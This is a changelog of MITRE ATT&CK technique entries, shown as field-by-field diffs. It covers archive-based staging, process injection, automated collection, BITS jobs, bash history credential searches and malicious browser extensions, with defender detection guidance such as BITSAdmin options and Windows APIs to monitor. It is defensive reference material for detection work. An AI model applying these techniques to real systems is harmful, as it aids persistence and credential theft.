| external_references | {'source_name': 'Prevailion DarkWatchman 2021', 'description': 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.', 'url': 'https://www.prevailion.com/darkwatchman-new-fileless-techniques/'} | |
| x_mitre_platforms | Linux |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may compress or encrypt data that is collected | t | 1 | Adversaries may use utilities to compress and/or encrypt col |
| > | prior to exfiltration using 3rd party utilities. Many utilit | > | lected data prior to exfiltration. Many utilities include fu | ||
| > | ies exist that can archive data, including 7-Zip(Citation: 7 | > | nctionalities to compress, encrypt, or otherwise package dat | ||
| > | zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip | > | a into a format that is easier/more secure to transport. Ad | ||
| > | (Citation: WinZip Homepage). Most utilities include function | > | versaries may abuse various utilities to compress or encrypt | ||
| > | ality to encrypt and/or compress data. Some 3rd party utili | > | data before exfiltration. Some third party utilities may be | ||
| > | ties may be preinstalled, such as `tar` on Linux and macOS o | > | preinstalled, such as <code>tar</code> on Linux and macOS o | ||
| > | r `zip` on Windows systems. | > | r <code>zip</code> on Windows systems. On Windows, <code>dia | ||
| > | ntz</code> or <code> makecab</code> may be used to package c | ||||
| > | ollected files into a cabinet (.cab) file. <code>diantz</cod | ||||
| > | e> may also be used to download and compress files from remo | ||||
| > | te locations (i.e. [Remote Data Staging](https://attack.mitr | ||||
| > | e.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) A | ||||
| > | dditionally, <code>xcopy</code> on Windows can copy files an | ||||
| > | d directories with a variety of options. Adversaries may us | ||||
| > | e also third party utilities, such as 7-Zip, WinRAR, and Win | ||||
| > | Zip, to perform similar activities.(Citation: 7zip Homepage) | ||||
| > | (Citation: WinRAR Homepage)(Citation: WinZip Homepage) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Mayan Arora aka Mayan Mohan'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 21:54:37.374000+00:00 | 2022-04-20 17:17:48.612000+00:00 |
| description | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data. Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems. | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.
Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) |
| external_references[1]['source_name'] | 7zip Homepage | WinRAR Homepage |
| external_references[1]['description'] | I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. | A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. |
| external_references[1]['url'] | https://www.7-zip.org/ | https://www.rarlab.com/ |
| external_references[2]['source_name'] | WinRAR Homepage | WinZip Homepage |
| external_references[2]['description'] | A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. | Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. |
| external_references[2]['url'] | https://www.rarlab.com/ | https://www.winzip.com/win/en/ |
| external_references[3]['source_name'] | WinZip Homepage | 7zip Homepage |
| external_references[3]['description'] | Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. | I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. |
| external_references[3]['url'] | https://www.winzip.com/win/en/ | https://www.7-zip.org/ |
| external_references[4]['source_name'] | Wikipedia File Header Signatures | diantz.exe_lolbas |
| external_references[4]['description'] | Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. | Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021. |
| external_references[4]['url'] | https://en.wikipedia.org/wiki/List_of_file_signatures | https://lolbas-project.github.io/lolbas/Binaries/Diantz/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:05.394000+00:00 | 2021-10-18 12:23:46.476000+00:00 |
| external_references[5]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Once established within a system or network, an adversary ma | t | 1 | Once established within a system or network, an adversary ma |
| > | y use automated techniques for collecting internal data. Met | > | y use automated techniques for collecting internal data. Met | ||
| > | hods for performing this technique could include use of a [C | > | hods for performing this technique could include use of a [C | ||
| > | ommand and Scripting Interpreter](https://attack.mitre.org/t | > | ommand and Scripting Interpreter](https://attack.mitre.org/t | ||
| > | echniques/T1059) to search for and copy information fitting | > | echniques/T1059) to search for and copy information fitting | ||
| > | set criteria such as file type, location, or name at specifi | > | set criteria such as file type, location, or name at specifi | ||
| > | c time intervals. This functionality could also be built int | > | c time intervals. In cloud-based environments, adversaries m | ||
| > | o remote access tools. This technique may incorporate use | > | ay also use cloud APIs, command line interfaces, or extract, | ||
| > | of other techniques such as [File and Directory Discovery](h | > | transform, and load (ETL) services to automatically collect | ||
| > | ttps://attack.mitre.org/techniques/T1083) and [Lateral Tool | > | data. This functionality could also be built into remote ac | ||
| > | Transfer](https://attack.mitre.org/techniques/T1570) to iden | > | cess tools. This technique may incorporate use of other te | ||
| > | tify and move files. | > | chniques such as [File and Directory Discovery](https://atta | ||
| > | ck.mitre.org/techniques/T1083) and [Lateral Tool Transfer](h | ||||
| > | ttps://attack.mitre.org/techniques/T1570) to identify and mo | ||||
| > | ve files, as well as [Cloud Service Dashboard](https://attac | ||||
| > | k.mitre.org/techniques/T1538) and [Cloud Storage Object Disc | ||||
| > | overy](https://attack.mitre.org/techniques/T1619) to identif | ||||
| > | y resources in cloud environments. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Praetorian'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:18:43.019000+00:00 | 2022-04-11 18:40:24.795000+00:00 |
| description | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files. | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments. |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | Data loss prevention | Script: Script Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces. |
| x_mitre_system_requirements[0] | Permissions to access directories and files that store information of interest. | Permissions to access directories, files, and API endpoints that store information of interest. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse BITS jobs to persistently execute or c | t | 1 | Adversaries may abuse BITS jobs to persistently execute or c |
| > | lean up after malicious payloads. Windows Background Intelli | > | lean up after malicious payloads. Windows Background Intelli | ||
| > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | ||
| > | s file transfer mechanism exposed through [Component Object | > | s file transfer mechanism exposed through [Component Object | ||
| > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | ||
| > | (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS i | > | (Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is | ||
| > | s commonly used by updaters, messengers, and other applicati | > | commonly used by updaters, messengers, and other application | ||
| > | ons preferred to operate in the background (using available | > | s preferred to operate in the background (using available id | ||
| > | idle bandwidth) without interrupting other networked applica | > | le bandwidth) without interrupting other networked applicati | ||
| > | tions. File transfer tasks are implemented as BITS jobs, whi | > | ons. File transfer tasks are implemented as BITS jobs, which | ||
| > | ch contain a queue of one or more file operations. The inte | > | contain a queue of one or more file operations. The interf | ||
| > | rface to create and manage BITS jobs is accessible through [ | > | ace to create and manage BITS jobs is accessible through [Po | ||
| > | PowerShell](https://attack.mitre.org/techniques/T1059/001) | > | werShell](https://attack.mitre.org/techniques/T1059/001) and | ||
| > | (Citation: Microsoft BITS) and the [BITSAdmin](https://attac | > | the [BITSAdmin](https://attack.mitre.org/software/S0190) to | ||
| > | k.mitre.org/software/S0190) tool. (Citation: Microsoft BITSA | > | ol.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) | ||
| > | dmin) Adversaries may abuse BITS to download, execute, and | > | Adversaries may abuse BITS to download, execute, and even | ||
| > | even clean up after running malicious code. BITS tasks are s | > | clean up after running malicious code. BITS tasks are self-c | ||
| > | elf-contained in the BITS job database, without new files or | > | ontained in the BITS job database, without new files or regi | ||
| > | registry modifications, and often permitted by host firewal | > | stry modifications, and often permitted by host firewalls.(C | ||
| > | ls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok | > | itation: CTU BITS Malware June 2016)(Citation: Mondok Window | ||
| > | Windows PiggyBack BITS May 2007) (Citation: Symantec BITS M | > | s PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) | ||
| > | ay 2007) BITS enabled execution may also enable persistence | > | BITS enabled execution may also enable persistence by creat | ||
| > | by creating long-standing jobs (the default maximum lifetime | > | ing long-standing jobs (the default maximum lifetime is 90 d | ||
| > | is 90 days and extendable) or invoking an arbitrary program | > | ays and extendable) or invoking an arbitrary program when a | ||
| > | when a job completes or errors (including after system rebo | > | job completes or errors (including after system reboots).(Ci | ||
| > | ots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU | > | tation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) BITS upload functionalities can als | > | re June 2016) BITS upload functionalities can also be used | ||
| > | o be used to perform [Exfiltration Over Alternative Protocol | > | to perform [Exfiltration Over Alternative Protocol](https:// | ||
| > | ](https://attack.mitre.org/techniques/T1048). (Citation: CTU | > | attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) | > | re June 2016) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:28:10.049000+00:00 | 2021-04-13 21:36:04.956000+00:00 |
| description | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Command: Command Execution |
| x_mitre_data_sources[3] | Windows event logs | Service: Service Metadata |
| x_mitre_detection | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'} | |
| x_mitre_contributors | Brent Murphy, Elastic | |
| x_mitre_contributors | David French, Elastic |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the bash command history on compromis | t | 1 | Adversaries may search the bash command history on compromis |
| > | ed systems for insecurely stored credentials. Bash keeps tra | > | ed systems for insecurely stored credentials. Bash keeps tra | ||
| > | ck of the commands users type on the command-line with the " | > | ck of the commands users type on the command-line with the " | ||
| > | history" utility. Once a user logs out, the history is flush | > | history" utility. Once a user logs out, the history is flush | ||
| > | ed to the user’s <code>.bash_history</code> file. For each u | > | ed to the user’s <code>.bash_history</code> file. For each u | ||
| > | ser, this file resides at the same location: <code>~/.bash_h | > | ser, this file resides at the same location: <code>~/.bash_h | ||
| > | istory</code>. Typically, this file keeps track of the user’ | > | istory</code>. Typically, this file keeps track of the user’ | ||
| > | s last 500 commands. Users often type usernames and password | > | s last 500 commands. Users often type usernames and password | ||
| > | s on the command-line as parameters to programs, which then | > | s on the command-line as parameters to programs, which then | ||
| > | get saved to this file when they log out. Attackers can abus | > | get saved to this file when they log out. Adversaries can ab | ||
| > | e this by looking through the file for potential credentials | > | use this by looking through the file for potential credentia | ||
| > | . (Citation: External to DA, the OS X Way) | > | ls. (Citation: External to DA, the OS X Way) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-07 20:48:49.878000+00:00 | 2022-03-08 21:34:44.728000+00:00 |
| description | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:25:33.828000+00:00 | 2021-10-15 13:53:02.135000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Metadata |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Malware reverse engineering |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Internet browser extensions to establi | t | 1 | Adversaries may abuse Internet browser extensions to establi |
| > | sh persistence access to victim systems. Browser extensions | > | sh persistent access to victim systems. Browser extensions o | ||
| > | or plugins are small programs that can add functionality and | > | r plugins are small programs that can add functionality and | ||
| > | customize aspects of Internet browsers. They can be install | > | customize aspects of Internet browsers. They can be installe | ||
| > | ed directly or through a browser's app store and generally h | > | d directly or through a browser's app store and generally ha | ||
| > | ave access and permissions to everything that the browser ca | > | ve access and permissions to everything that the browser can | ||
| > | n access. (Citation: Wikipedia Browser Extension) (Citation: | > | access.(Citation: Wikipedia Browser Extension)(Citation: Ch | ||
| > | Chrome Extensions Definition) Malicious extensions can be | > | rome Extensions Definition) Malicious extensions can be ins | ||
| > | installed into a browser through malicious app store downloa | > | talled into a browser through malicious app store downloads | ||
| > | ds masquerading as legitimate extensions, through social eng | > | masquerading as legitimate extensions, through social engine | ||
| > | ineering, or by an adversary that has already compromised a | > | ering, or by an adversary that has already compromised a sys | ||
| > | system. Security can be limited on browser app stores so it | > | tem. Security can be limited on browser app stores so it may | ||
| > | may not be difficult for malicious extensions to defeat auto | > | not be difficult for malicious extensions to defeat automat | ||
| > | mated scanners. (Citation: Malicious Chrome Extension Number | > | ed scanners.(Citation: Malicious Chrome Extension Numbers) D | ||
| > | s) Once the extension is installed, it can browse to website | > | epending on the browser, adversaries may also manipulate an | ||
| > | s in the background, (Citation: Chrome Extension Crypto Mine | > | extension's update url to install updates from an adversary | ||
| > | r) (Citation: ICEBRG Chrome Extensions) steal all informatio | > | controlled server or manipulate the mobile configuration fil | ||
| > | n that a user enters into a browser (including credentials) | > | e to silently install additional extensions. Previous to ma | ||
| > | (Citation: Banker Google Chrome Extension Steals Creds) (Cit | > | cOS 11, adversaries could silently install browser extension | ||
| > | ation: Catch All Chrome Extension) and be used as an install | > | s via the command line using the <code>profiles</code> tool | ||
| > | er for a RAT for persistence. There have also been instance | > | to install malicious <code>.mobileconfig</code> files. In ma | ||
| > | s of botnets using a persistent backdoor through malicious C | > | cOS 11+, the use of the <code>profiles</code> tool can no lo | ||
| > | hrome extensions. (Citation: Stantinko Botnet) There have al | > | nger install configuration profiles, however <code>.mobileco | ||
| > | so been similar examples of extensions being used for comman | > | nfig</code> files can be planted and installed with user int | ||
| > | d & control (Citation: Chrome Extension C2 Malware). | > | eraction.(Citation: xorrior chrome extensions macOS) Once t | ||
| > | he extension is installed, it can browse to websites in the | ||||
| > | background, steal all information that a user enters into a | ||||
| > | browser (including credentials), and be used as an installer | ||||
| > | for a RAT for persistence.(Citation: Chrome Extension Crypt | ||||
| > | o Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banke | ||||
| > | r Google Chrome Extension Steals Creds)(Citation: Catch All | ||||
| > | Chrome Extension) There have also been instances of botnets | ||||
| > | using a persistent backdoor through malicious Chrome extens | ||||
| > | ions.(Citation: Stantinko Botnet) There have also been simil | ||||
| > | ar examples of extensions being used for command & control.( | ||||
| > | Citation: Chrome Extension C2 Malware) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:36:30.565000+00:00 | 2022-04-20 16:46:36.707000+00:00 |
| description | Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
